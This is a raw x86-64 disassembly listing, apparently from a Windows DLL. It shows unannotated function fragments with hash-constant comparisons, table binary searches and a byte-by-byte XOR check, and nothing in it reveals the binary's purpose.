mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x1800536fb
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180053706
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
test eax, eax
jne 0x1800537a2
cmp dword [rsp + 0x7c], 0x13418bf
jne 0x1800537a2
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 7
lea r9, [0x18006ff38]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x180054235
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180054660
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18005466e
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], edi
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x4c], 0x657b5a3f
mov dword [rsp + 0x180], ebp
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x184], al
movzx eax, word [rsp + 0x41]
mov word [rsp + 0x185], ax
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x187], al
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12]
lea rdx, [0x180074620]
lea r9, [rsp + 0x180]
mov r8d, 5
call fcn.180059fb0
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x18005383b
mov rsi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
movd xmm6, edi
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18005392d
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180053938
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
cmp eax, 3
jne 0x1800539ba
cmp dword [rsp + 0x7c], 0x32a
jne 0x1800539ba
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 5
lea r9, [0x180073b68]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov edi, dword [rsp + 0x40]
test edi, edi
je 0x1800542ec
mov esi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18005469e
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800546ac
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], ebx
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x4c], 0x7a30cc72
mov dword [rsp + 0x180], edi
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12]
lea rdx, [0x180074625]
lea r9, [rsp + 0x180]
mov r8d, 5
call fcn.180059fb0
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x180053a53
mov rsi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
movd xmm6, edi
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180053b44
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180053b4f
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
test eax, eax
jne 0x180053bd2
cmp dword [rsp + 0x7c], 0x7e3
jne 0x180053bd2
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 0xb
lea r9, [0x180073c98]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov edi, dword [rsp + 0x40]
test edi, edi
je 0x18005439b
mov esi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x1800546dc
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800546ea
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], ebx
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], edi
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12]
lea rdx, [0x18007462a]
lea r9, [rsp + 0x180]
mov r8d, 5
call fcn.180059fb0
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov r8, r15
mov r9, r13
call fcn.180036b60
mov esi, dword [rsp + 0x180]
test esi, esi
je 0x180053c68
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
movd xmm6, esi
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180053d11
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180053d1c
cmp dword [rsp + 0x188], 0
mov r12, qword [rsp + 0xc8]
jne 0x180053da7
mov r12, qword [rsp + 0x190]
mov r8, r13
lea r13, [rsp + 0x180]
mov rcx, r13
mov rdx, r15
call fcn.180066e40
mov esi, dword [rsp + 0x180]
test esi, esi
je 0x1800544b1
mov edi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18005471a
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180054725
mov rax, qword [rsp + 0x48]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov r12, qword [rsp + 0xc8]
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x4c], 0x4ee272fd
mov dword [rsp + 0x180], esi
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12 + 0x28]
lea rdx, [0x18007462f]
lea r9, [rsp + 0x180]
mov r8d, 3
call fcn.180057260
mov rsi, qword [r15]
cmp dword [rsi + 0x14c], 0xff30d
jne 0x180046cab
cmp word [rsi + 0x182], 3
jb 0x180046cab
lea rcx, [rsp + 0x180]
mov rdx, r15
mov r8, r13
call fcn.180066e40
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x180053e4c
mov esi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18005444a
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180054455
mov rax, qword [rsp + 0x188]
mov r14, qword [rsp + 0x190]
mov rcx, qword [rax + 0x20]
test rcx, rcx
je 0x180055ca8
mov rax, qword [rax + 0x18]
xor r10d, r10d
mov edx, 0xff
mov r8, rcx
mov r9, rcx
jmp 0x180053e8c
mov r9, r8
sub r8, r10
jbe 0x180055ca8
shr r8, 1
add r8, r10
mov r11, r8
shl r11, 5
xor edi, edi
cmp dword [rax + r11 + 0x18], 0x67bbee4f
setne dil
cmovb edi, edx
cmp dil, 1
je 0x180053e80
movzx r10d, dil
cmp r10d, 0xff
jne 0x180054765
inc r8
mov r10, r8
mov r8, r9
sub r8, r10
ja 0x180053e8c
jmp 0x180055ca8
cmp qword [rsp + 0x48], 0
je 0x180052d0c
mov r9, qword [rsp + 0x50]
mov qword [rsp + 0xa0], 0
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 1
mov qword [rsp + 0x28], 8
lea rcx, [rsp + 0x180]
call fcn.180038a10
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x1800547db
mov esi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov edi, dword [rsp + 0x190]
jmp 0x180054d3e
cmp qword [rsp + 0x48], 0
je 0x180052f2a
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180072da0]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x8c2634ac
mov r8d, 0xffff1c98
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180052f2a
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x180052f2a
cmp qword [rsp + 0x48], 0
je 0x180053149
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180072f90]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x5e1f06f5
mov r8d, 0xffff1c99
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180053149
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x180053149
cmp qword [rsp + 0x48], 0
je 0x180053368
mov r8, qword [rsp + 0x50]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 1
lea r9, [0x1800730a8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x180054938
mov rsi, qword [rsp + 0x48]
mov edi, dword [rsp + 0x50]
movd xmm6, ebp
movd xmm7, dword [rsp + 0x44]
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180054b63
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180054b71
cmp qword [rsp + 0x48], 0
je 0x180053571
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x1800734a8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x2554de1a
mov r8d, 0xffff1c9b
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180053571
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x180053571
cmp qword [rsp + 0x48], 0
je 0x1800537a2
mov r15, qword [rsp + 0x50]
lea r9, [r15 - 4]
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
call fcn.180039890
mov eax, dword [rsp + 0x180]
test eax, eax
je 0x180054a10
mov esi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
movd xmm0, esi
movd xmm6, eax
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180054bac
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor edi, edi
jmp 0x180054bb7
cmp qword [rsp + 0x48], 0
je 0x1800539ba
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180073c08]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x98758c35
mov r8d, 0xffff1c9f
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x1800539ba
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x1800539ba
cmp qword [rsp + 0x48], 0
je 0x180053bd2
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180073df8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x6edd638
mov r8d, 0xffff1ca0
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180053bd2
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x180053bd2
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xe8765aaa
movdqa xmm0, xmmword [rsp + 0x70]
mov eax, esi
shr eax, 8
mov dword [rsp + 0x180], edi
shl eax, 8
movzx ecx, sil
or ecx, eax
mov dword [rsp + 0x184], ecx
movdqu xmmword [rsp + 0x188], xmm0
mov rcx, qword [r12 + 0x28]
lea rdx, [0x180074632]
lea r9, [rsp + 0x180]
mov r8d, 6
call fcn.180057260
jmp 0x180046cab
mov rcx, qword [rsp + 0x188]
mov r15, qword [rsp + 0x190]
mov rax, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x180054a83
xor r10d, r10d
mov edx, 0xff
mov r8, rcx
mov r9, rcx
jmp 0x1800544ee
mov r9, r8
sub r8, r10
jbe 0x180054a83
shr r8, 1
add r8, r10
mov r11, r8
shl r11, 5
xor esi, esi
cmp dword [rax + r11 + 0x18], 0x67bbee4f
setne sil
cmovb esi, edx
cmp sil, 1
je 0x1800544e2
movzx r10d, sil
cmp r10d, 0xff
jne 0x180054a1d
inc r8
mov r10, r8
mov r8, r9
sub r8, r10
ja 0x1800544ee
jmp 0x180054a83
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5ed6
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x180052cb0
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5f1b
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x180052ece
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5f65
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x1800530ed
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5f95
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
jmp 0x180054b9a
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5fe3
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x180053515
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x657b5a71
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x18005372c
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x7a30cc4f
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x18005395e
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xcd01cad9
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x180053b76
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov r13, qword [rsp + 0xc0]
mov r12, qword [rsp + 0xc8]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x4ee272e6
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], edi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x180053d4a
mov rdx, qword [rax + r11 + 8]
test rdx, rdx
je 0x180055ca8
mov r8, qword [rax + r11]
xor r11d, r11d
mov r9d, 0xff
mov r10, rdx
jmp 0x180054791
mov r10, rdx
sub rdx, r11
jbe 0x180055ca8
shr rdx, 1
add rdx, r11
mov rbx, rdx
shl rbx, 5
xor edi, edi
cmp dword [r8 + rbx + 0x18], 0x5a0ddfdc
setne dil
cmovb edi, r9d
cmp dil, 1
je 0x180054785
movzx r11d, dil
cmp r11d, 0xff
jne 0x180054e16
inc rdx
mov r11, rdx
mov rdx, r10
sub rdx, r11
ja 0x180054791
jmp 0x180055ca8
cmp qword [rsp + 0x188], 8
jne 0x180054d2d
movzx eax, byte [rsp + 0xa1]
xor al, byte [rsp + 0xa0]
cmp al, 0x27
jne 0x180052d0c
movzx eax, byte [rsp + 0xa2]
xor al, byte [rsp + 0xa1]
cmp al, 0x15
jne 0x180052d0c
movzx eax, byte [rsp + 0xa3]
xor al, byte [rsp + 0xa2]
cmp al, 0x16
jne 0x180052d0c
movzx eax, byte [rsp + 0xa4]
xor al, byte [rsp + 0xa3]
cmp al, 0x46
jne 0x180052d0c
movzx eax, byte [rsp + 0xa5]
cmp al, byte [rsp + 0xa4]
jne 0x180052d0c
movzx eax, byte [rsp + 0xa6]
xor al, byte [rsp + 0xa5]
cmp al, 0x1f
jne 0x180052d0c
movzx eax, byte [rsp + 0xa7]
xor al, byte [rsp + 0xa6]
cmp al, 0x4b
jne 0x180052d0c
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180072c28]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x22451eff
mov r8d, 0xffff1c97
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180054923
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
jmp 0x180052d0c
cmp qword [rsp + 0x48], 0
je 0x180053368
mov r15, qword [rsp + 0x50]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 0x11
lea r9, [0x1800730f8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
mov r8, r15
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x180054e7a
mov rsi, qword [rsp + 0x48]
mov edi, dword [rsp + 0x50]
movd xmm6, ebp
movd xmm7, dword [rsp + 0x44]
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180054fbd
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180054fcb
movzx esi, byte [rsp + 0x184]
jmp 0x180054bda
mov rdx, qword [rax + r11 + 8]
test rdx, rdx
je 0x180054a83
mov r8, qword [rax + r11]
xor r11d, r11d
mov r9d, 0xff
mov r10, rdx
jmp 0x180054a41
mov r10, rdx
sub rdx, r11
jbe 0x180054a83
shr rdx, 1
add rdx, r11
mov rdi, rdx
shl rdi, 5
xor esi, esi
cmp dword [r8 + rdi + 0x18], 0x73
setne sil
cmovb esi, r9d
cmp sil, 1
je 0x180054a39
movzx r11d, sil
cmp r11d, 0xff
jne 0x180054da8
inc rdx
mov r11, rdx
mov rdx, r10
sub rdx, r11
ja 0x180054a41
test rcx, rcx
je 0x180056eba
xor r10d, r10d
mov edx, 0xff
mov r8, rcx
mov r9, rcx
jmp 0x180054aa8
mov r9, r8
sub r8, r10
jbe 0x180056eba
shr r8, 1
add r8, r10
mov r11, r8
shl r11, 5
xor esi, esi
cmp dword [rax + r11 + 0x18], 0x67bbee4f
setne sil
cmovb esi, edx
cmp sil, 1
je 0x180054a9c
movzx r10d, sil
cmp r10d, 0xff
jne 0x180054aed
inc r8
mov r10, r8
mov r8, r9
sub r8, r10
ja 0x180054aa8
jmp 0x180056eba
mov rdx, qword [rax + r11 + 8]
test rdx, rdx
je 0x180056eba
mov r8, qword [rax + r11]
xor r11d, r11d
mov r9d, 0xff
mov r10, rdx
jmp 0x180054b19
mov r10, rdx
sub rdx, r11
jbe 0x180056eba
shr rdx, 1
add rdx, r11
mov rdi, rdx
shl rdi, 5
xor esi, esi
cmp dword [r8 + rdi + 0x18], 0x79aedc32
setne sil
cmovb esi, r9d
cmp sil, 1
je 0x180054b0d
movzx r11d, sil
cmp r11d, 0xff
jne 0x180054da8
inc rdx
mov r11, rdx
mov rdx, r10
sub rdx, r11
ja 0x180054b19
jmp 0x180056eba
mov rax, qword [rsp + 0x188]
mov qword [rax], rsi
mov dword [rax + 8], edi
punpckldq xmm6, xmm7
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5fab
pshufd xmm0, xmm6, 0x55
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
movd dword [rsp + 0x40], xmm0
